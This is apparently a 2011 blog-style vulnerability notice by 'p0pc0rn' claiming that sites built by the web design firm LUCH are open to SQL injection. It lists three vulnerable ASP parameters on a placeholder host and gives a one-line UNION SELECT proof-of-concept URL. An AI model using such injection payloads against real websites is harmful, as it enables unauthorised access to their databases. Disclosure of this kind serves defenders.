Wednesday, March 9, 2011

Web Designed by LUCH Vulnerable to SQL Injection


Title : Web Designed by LUCH Vulnerable to SQL Injection
Vendor : http://www.luch.co.il
Found by: p0pc0rn


SQL
---

http://site.com/page.asp?id=[SQL]
http://site.com/cat.asp?catid=[SQL]
http://site.com/catin.asp?productid=[SQL]

POC
---
http://site.com/page.asp?id=23 union select 1 from test.a



thanks,
-p0pc0rn-
Share:

0 comments: